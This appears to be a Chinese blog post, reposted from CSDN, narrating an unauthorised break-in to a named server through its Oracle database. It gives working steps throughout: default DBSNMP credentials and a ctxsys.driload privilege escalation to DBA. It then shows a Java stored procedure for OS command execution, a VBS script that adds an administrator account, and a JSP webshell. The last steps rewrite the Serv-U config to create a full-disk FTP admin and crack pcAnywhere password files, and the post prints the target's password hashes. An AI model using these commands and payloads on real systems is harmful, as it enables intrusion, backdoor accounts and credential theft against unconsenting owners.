很久么写文章了,今天给带来篇ORACLE数据库入侵的文章。现在的网站 都是后台生成静态,注入一般都不怎么 好搞,只有通过别的方法了。目标站是2K系统,JSP与HTML页面。如图
这种站一般是使用SQLSERVER 或者ORACLE,使用superscan3扫描器对服务器IP大略的端口扫描。
开有FTP WEB 1521明显是ORACLE数据库端口,ORACLE数据库默认安装以后有很多帐户密码都是默认的,如果管理员安全 意识不高很容易被人利用从而获得系统 权限。
首先要使用lsnrctl得到对方的SID号,使用lsnrctl工具连接对方IP的listener
首先安装个ORACLE的客户端,在CMD里输入lsnrctl 进入lsnrctl后 执行
Set current_listener 目标IP
Status
这个时候可以看到服务 china 和modose 这2个有一个是SID号
使用Sqlplus连接服务器 格式这样的
sqlplus [url=]DBSNMP/DBSNMP@//202.98.123.79:1521/china[/url]
成功登陆,执行 select * from user_role_privs;
可以看出当前用户只具有CONNECT权限
利用Oracle本地PL/SQL漏洞进行权限提升,成功提升为DBA权限
Exec ctxsys.driload.validate_stmt(‘grant dba to dbsnmp’)
SQL> Exec ctxsys.driload.validate_stmt('grant dba to dbsnmp');
BEGIN ctxsys.driload.validate_stmt('grant dba to dbsnmp'); END;
使用Oracle支持的Java特性,创建可以执行系统命令的存储过程,增加管理员账号(Windows平台的Oracle默认以system账号运行,所以我们执行的命令也是以system账号权限执行),下面创建一个JAVA源程序,以便执行系统命令。创建JAVA的语句如下:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
将以上代码保存为一个sql扩展的脚本文件,然后存放在系统根目录下,这里保存为java.sql。执行如下语句进行自动创建:@ c:\java.sql
有时候提升到DBA以后不能加载脚本,提示权限不够,需要推退出再登陆就可以了。
执行命令语句是 exec :x:=run_cmz('cmd /c ver');
exec :x:=run_cmz('cmd /c net user');
net命令无法执行 ,netstat –an直接运行可以执行也不知道什么 原因
服务器貌似没有开3389,用户也不能加。
可以尝试下个VBS文件来添加用户
代码如下
exec :x:=run_cmz('cmd /c echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") >c:\user.vbs');
exec :x:=run_cmz('cmd /c echo ^o^s^=^"^WinNT^:^/^/^"^&^wsnetwork.ComputerName >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set oa=CreateObject("Scripting.FileSystemObject") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set ob=GetObject(os) >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set oe=GetObject(os^&^"^/Administrators,group^") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set od=ob.Create("user","bob") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo od.SetPassword "123456abc!@#" >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo od.SetInfo >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set of=GetObject(os^&^"^/bob^",user) >>c:\user.vbs')
exec :x:=run_cmz('cmd /c echo oe.add os^&^"^/bob^" >>c:\user.vbs');
vbs添加的用户名为bob,密码为123456abc!@#
由于vbs默认是用script.exe进行解释的,这里换作wscript.exe执行:exec :x:=run_cmz('cmd /c wscript.exe c:\user.vbs');
这也是个方法。
刚才netstat -an我们知道,服务器开了43958SERV-U和和80,可以利用DIR 找到WEB写JSP一句话马, 或者FTP目录破解FTP密码。
因为不是IIS,经过千辛万苦才找到WEB。在网上找了一个JSP的一句话马,把内容写到WEB一个TXT文件内,代码没错,注意>这个需要用^来注释才可以写写出完整的。写出来JSP马的时候发现代码没有正常运行,测试JSP马失败了。
SQL> exec :x:=run_cmz('cmd /c echo ^<% if(request.getParameter("f")!=null)(new j
ava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))
).write(request.getParameter("t").getBytes()); %^> >> e:\ftp\chinalww\chinalwwap
p\yp.jsp');
现在就只有去利用SERV-U了,通过DIR找到SERV-U的目录在
d:\progra~1\rhinosoft.com\serv-u\
exec :x:=run_cmz('cmd /c type d:\progra~1\rhinosoft.com\serv-u\servudaemon.ini
使用TYPE命令读取FTP配置文件 servudaemon.ini得到加密密码,
[USER=chinalww|1]
Password=cv3EA7C701EED1673E5A82873834B89E98
使用SU纯数字没有解出来,想了想还可以通过ECHO给SERV-U从新写个配置文件
FTP 目标IP 了解SERVU是6.2版本的,于是下载一个6.2的。使用目标服务器上的INI文件替换本机的 再添加一个用户进去。
把帐户设置成ADMIN ,浏览所有硬盘。
[GLOBAL]
Version=6.2.0.0
ProcessID=204
[DOMAINS]
Domain1=202.98.123.79||21|202.98.123.79|1|0|0
[Domain1]
User1=chinalww|1|0
User2=ypde|1|0
[USER=chinalww|1]
Password=cv3EA7C701EED1673E5A82873834B89E98
HomeDir=e:\ftp
RelPaths=1
PasswordLastChange=1246846157
TimeOut=600
Access1=E:\ftp|RWAMLCDP
[USER=ypde|1]
Password=utF4FC3085D83885D44B9A829B93E3F564
HomeDir=c:\
RelPaths=1
PasswordLastChange=1258704816
TimeOut=600
Maintenance=System
Access1=c:\|RWAMELCDP
Access2=D:\|RWAMELCDP
Access3=E:\|RWAMELCDP
依次把内容用以下格式写入。
Exec :x:=run_cmz('cmd /c echo Access1=e:\^|^RWAMELCDP >> d:\progra~1\rhinosoft.com\serv-u\servudaemon.ini');
值得注意的是| 这个分隔符号需要用^来注释 才能正常写入,如果怕写错可以先自己测试好以后在写。
使用FALSHFXP成功连接
打开C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 目录下载PCANYWHERE 后戳为cif密码文件 使用passview破解得到密码
使用FTP上传JSPSHELL 成功添加用户。JSPSHELL 加帐户,用PCANYWHERE 登陆。3389没开,所以要用他来管理服务器。
使用破解出的Pcanywhere成功登陆服务器。
系统长时间 不使用会自动锁定,这个时候在成功登陆PCANYWHERE的时候就要解琐需要系统密码。还有就是这个服务器是JSP用的啥WEB服务器我也不知道,JAVA 之类的一注销他的用户网站就挂了。
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/kao_la_gou/archive/2010/04/20/5509023.aspx
|
|